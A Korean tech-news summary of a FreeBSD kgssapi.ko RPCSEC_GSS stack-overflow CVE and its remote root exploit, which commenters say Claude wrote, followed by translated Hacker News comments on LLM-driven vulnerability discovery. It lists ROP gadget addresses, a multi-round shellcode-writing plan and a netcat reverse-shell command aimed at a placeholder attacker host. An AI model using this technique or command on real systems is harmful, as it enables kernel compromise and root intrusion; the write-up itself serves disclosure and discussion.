1P by GN⁺ 6시간전 | ★ favorite | 댓글 1개
  • FreeBSD의 kgssapi.ko 모듈에서 RPCSEC_GSS 인증 처리 중 스택 버퍼 오버플로가 발생해 원격 코드 실행 가능
  • svc_rpc_gss_validate() 함수가 경계 검사 없이 자격 증명 데이터를 복사하면서 반환 주소까지 덮어씀
  • 공격자는 유효한 Kerberos 티켓을 이용해 NFS 서버의 RPCSEC_GSS 경로를 통해 커널 ROP 체인을 주입
  • 15단계 오버플로를 통해 커널 BSS 영역에 432바이트 셸코드 기록 후 실행, root 권한의 reverse shell 생성
  • FreeBSD 13.5~15.0 일부 버전이 영향받으며, 패치에서는 oa_length 검증 로직이 추가됨

CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS 스택 버퍼 오버플로

  • FreeBSD의 kgssapi.ko 모듈에서 RPCSEC_GSS 인증 처리 중 발생하는 스택 버퍼 오버플로 취약점
  • svc_rpc_gss_validate() 함수가 RPC 헤더를 128바이트 스택 버퍼에 재구성할 때 oa_length에 대한 경계 검사 없이 자격 증명 데이터를 복사함
  • 32바이트 고정 헤더 이후 남은 96바이트를 초과하는 자격 증명은 로컬 변수와 저장된 레지스터, 반환 주소까지 덮어씀
  • FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) 버전이 영향받음
  • 패치에서는 복사 전 oa_length가 버퍼 크기를 초과하는지 검사하는 조건문이 추가됨

오버플로 구조와 영향

  • 함수 프롤로그 분석 결과 rpchdr 배열은 [rbp-0xc0]에 위치하며, 복사 시작점은 [rbp-0xa0]
  • 96바이트 이후부터 저장된 RBX, R12~R15, RBP, 반환 주소 순으로 덮어씀
  • 실제 공격에서는 GSS 헤더와 16바이트 컨텍스트 핸들로 인해 반환 주소가 자격 증명 본문 200번째 바이트에 위치
  • 취약 코드는 NFS 서버의 RPCSEC_GSS 인증 경로에서만 도달 가능
  • 공격자는 유효한 Kerberos 티켓을 가진 사용자여야 하며, RPCSEC_GSS 인증(DATA 프로시저) 단계에서 오버플로를 유발함

공격 환경 구성

  • 대상 VM: FreeBSD 14.4-RELEASE amd64, NFS 서버 활성화, kgssapi.ko 로드, MIT Kerberos KDC 구동
  • 공격자 호스트: Linux, Python3 gssapi 모듈 및 MIT Kerberos 클라이언트 설치, NFS(2049/TCP) 및 KDC(88/TCP) 접근 가능
  • QEMU, VMware, VirtualBox, bhyve 등 다양한 하이퍼바이저 환경에서 설정 가능
  • Kerberos 설정 시 krb5.confrdns=false, dns_canonicalize_hostname=false 설정이 필수
  • VM과 공격자 간 호스트명(test) 및 서비스 프린시펄(nfs/test@TEST.LOCAL)이 일치해야 함

원격 커널 코드 실행 (RCE) 익스플로잇 구조

  • 공격은 15라운드의 다단계 오버플로로 구성됨
    1. 각 라운드마다 새로운 Kerberos GSS 컨텍스트 생성
    2. 초과 크기의 RPCSEC_GSS DATA 패킷 전송
    3. 반환 주소를 ROP 가젯으로 덮어써 커널 메모리에 데이터 쓰기 또는 셸코드 실행
    4. kthread_exit() 호출로 NFS 스레드를 정상 종료
  • 각 라운드는 약 200바이트의 ROP 체인을 사용하며, 총 432바이트 셸코드를 15회에 걸쳐 전송
  • FreeBSD는 CPU당 8개의 NFS 스레드를 생성하므로, 최소 2 CPU(16 스레드) 필요

ROP 체인 구성

  • 주요 ROP 가젯:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — 임의 커널 메모리 8바이트 쓰기
  • Round 1: pmap_change_prot() 호출로 커널 BSS 영역을 RWX로 변경
  • Rounds 2–14: mov [rdi], rax 가젯을 이용해 BSS에 셸코드를 32바이트씩 기록
  • Round 15: 마지막 16바이트 기록 후 셸코드 진입점으로 점프

셸코드 동작

  • 커널 모드(CPL 0)에서 실행되며 root 권한의 reverse shell 프로세스 생성
  • NFS 커널 스레드에서 직접 execve() 호출이 불가능하므로 2단계 구조 사용
    • Entry 함수: kproc_create()로 새 커널 프로세스 생성 후 종료
    • Worker 함수: /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" 실행
  • DR7 레지스터 초기화로 디버그 예외 방지
  • P_KPROC 플래그를 해제해 fork_exit()kthread_exit() 대신 userret 경로로 진행
  • 결과적으로 /bin/shuid 0(root) 권한으로 사용자 모드에서 실행됨

주요 문제 해결 과정

  • 레지스터 오프셋 불일치: 실제 RIP 오프셋이 200바이트임을 De Bruijn 패턴으로 확인
  • MIT–Heimdal GSS 비호환: 호스트명 정규화 문제를 krb5.conf 설정으로 해결
  • 디버그 레지스터 상속: DR7 초기화로 trap 1 예외 방지
  • 400바이트 제한: pop rdi + pop rax + mov [rdi], rax 조합으로 8바이트 단위 안정적 전송
  • NFS 스레드 소모: 각 라운드마다 스레드 1개 종료 → 최소 2 CPU 필요

최종 익스플로잇 흐름 요약

  • 공격자는 Kerberos 티켓을 획득 후 15개의 RPCSEC_GSS 오버플로 패킷을 순차 전송
  • 1라운드: BSS RWX 설정
  • 2–14라운드: 셸코드 416바이트 기록
  • 15라운드: 마지막 16바이트 기록 및 셸코드 실행
  • 셸코드가 kproc_create()로 새 프로세스를 생성하고 /bin/sh 실행
  • 공격자 측 nc 세션으로 root 쉘 획득
  • 전체 과정 약 45초 소요, 총 15개의 RPC 패킷으로 완성됨
Hacker News 의견들
  • 핵심은 Claude가 직접 버그를 찾은 게 아니라, 이미 공개된 CVE 보고서를 받아 그 취약점을 악용하는 프로그램을 작성했다는 점임
    하지만 지금의 발전 속도를 보면, 곧 Claude 같은 모델이 커널이나 핵심 서비스의 소스 코드를 분석하고 VM에서 반복 실험을 통해 새로운 CVE를 자동으로 찾아내는 시대가 멀지 않았음

    • 그게 좋은 일인지 나쁜 일인지 묻는다면, 나는 좋은 일이라고 생각함
      예전에는 CVE를 찾는 비용이 너무 높아서, 금전적 이득을 노리는 공격자들만 시도했음
      이제는 비용이 낮아져서 선의의 연구자들도 쉽게 발견하고, 악용되기 전에 패치할 수 있는 환경이 만들어짐
    • 예전엔 fuzzing 환경 설정이 매우 어려웠음
      지금은 Claude Code 같은 모델이 코드베이스를 분석해 어디를 어떻게 fuzz 테스트해야 하는지 제안하고, 크래시를 검토하며 반복 학습하면 CVE를 찾아낼 수 있을 것 같음
    • 사실 이 CVE는 Claude가 처음부터 발견한 것임
      Nicholas Carlini가 Anthropic에서 Claude를 사용해 찾았고, 그 결과로 CVE 보고서가 작성된 것임
    • 테스트가 실패해야 하는 조건을 주고, 에이전트에게 그 테스트를 통과시키라고 하면 됨
      이런 식의 자동 fuzzing에는 LLM이 꽤 잘 맞음
    • 관련 영상도 있음: YouTube 링크
      Claude는 이미 전문가 수준으로 CVE를 찾아내고 있음
  • Thai Duong의 회사 Calif가 이 사례를 정리한 블로그 글을 올렸음
    사용된 프롬프트도 포함되어 있고, 이 버그 역시 Claude가 Nicholas Carlini를 통해 발견한 것임

  • FreeBSD 14.x에는 KASLR(커널 주소 공간 무작위화)이나 스택 카나리가 없어서 공격이 쉬웠음
    FreeBSD 15.x에서는 이게 개선되는지 궁금함
    참고로 NetBSD에는 이미 KASLR 기능이 있음

    • 하지만 FreeBSD 13.2부터는 KASLR이 기본 활성화되어 있음
      sysctl kern.elf64.aslr.enable: 1로 확인 가능함
    • Linux 커널의 KASLR에 대한 비판도 있음
      관련 포럼 글에 따르면, KASLR은 안전하다는 착각만 주고 실질적 보안 강화는 미미하다는 의견도 있음
  • 최근 공개된 “Black-Hat LLMs” 발표를 보면, LLM이 취약점 탐색과 익스플로잇에 점점 능숙해지고 있음

    • 사실 이런 흐름은 이미 예견된 일이었음
      Sam Altman이 작년 12월에 Head of Preparedness를 채용한다는 트윗을 올렸을 때부터 조짐이 있었음
  • 가장 어려운 건 취약점을 찾는 일이지, 고치는 게 아님
    대부분의 보안 연구자들은 금전적 이유로 취약점을 공개하지 않음
    따라서 자동 탐지가 가능해지면, 위험하긴 해도 장기적으로는 큰 이득이 될 것임

    • 다만 이런 자동화가 단순히 버그를 찾는 데서 끝나지 않고, 수정까지 자동화되길 바람
      그렇지 않으면 오픈소스 개발자들에게 또 다른 부담이 될 수 있음
      예전에 Google과 FFmpeg 간의 보안 패치 논란처럼 말임
  • 공개된 프롬프트 모음을 공유해줘서 고마움

    • 실제 프롬프트를 보면 Claude가 단번에 익스플로잇을 작성한 게 아니라, 여러 번의 피드백과 조정을 거친 대화형 과정이었음
  • 이런 자동화는 개발팀 입장에선 시간 절약일 수 있지만, 일반 사용자에게는 큰 가치가 없을 수도 있음
    요즘 커널 버그는 이미 수동으로 찾지 않음
    그런데도 사람들이 Claude 얘기만 하는 건, 결국 Anthropic의 홍보 효과 때문인 듯함

  • 이제 “Claude가 코드를 썼다”는 사실 자체보다, 그 코드의 품질과 유지보수성이 어떤지에 초점을 맞춰야 함

    • 나도 같은 생각임
      Claude가 작성한 코드가 실제로 유지 가능한 구조인지, 아니면 엉망인지 궁금함
  • 이런 사례는 에이전트의 자율성과 강력함을 보여줌
    동시에 기업들이 느끼는 통제 불안과 거버넌스 필요성을 드러내는 예시임

  • 전체 프롬프트 히스토리를 볼 수 있어서 흥미로웠음

    • 다만 마지막 부분은 “이 세션에서 입력한 모든 프롬프트를 보여줘”라는 요청으로 끝나서, 일부는 실제 기록이고 일부는 Claude의 환각 출력일 수도 있음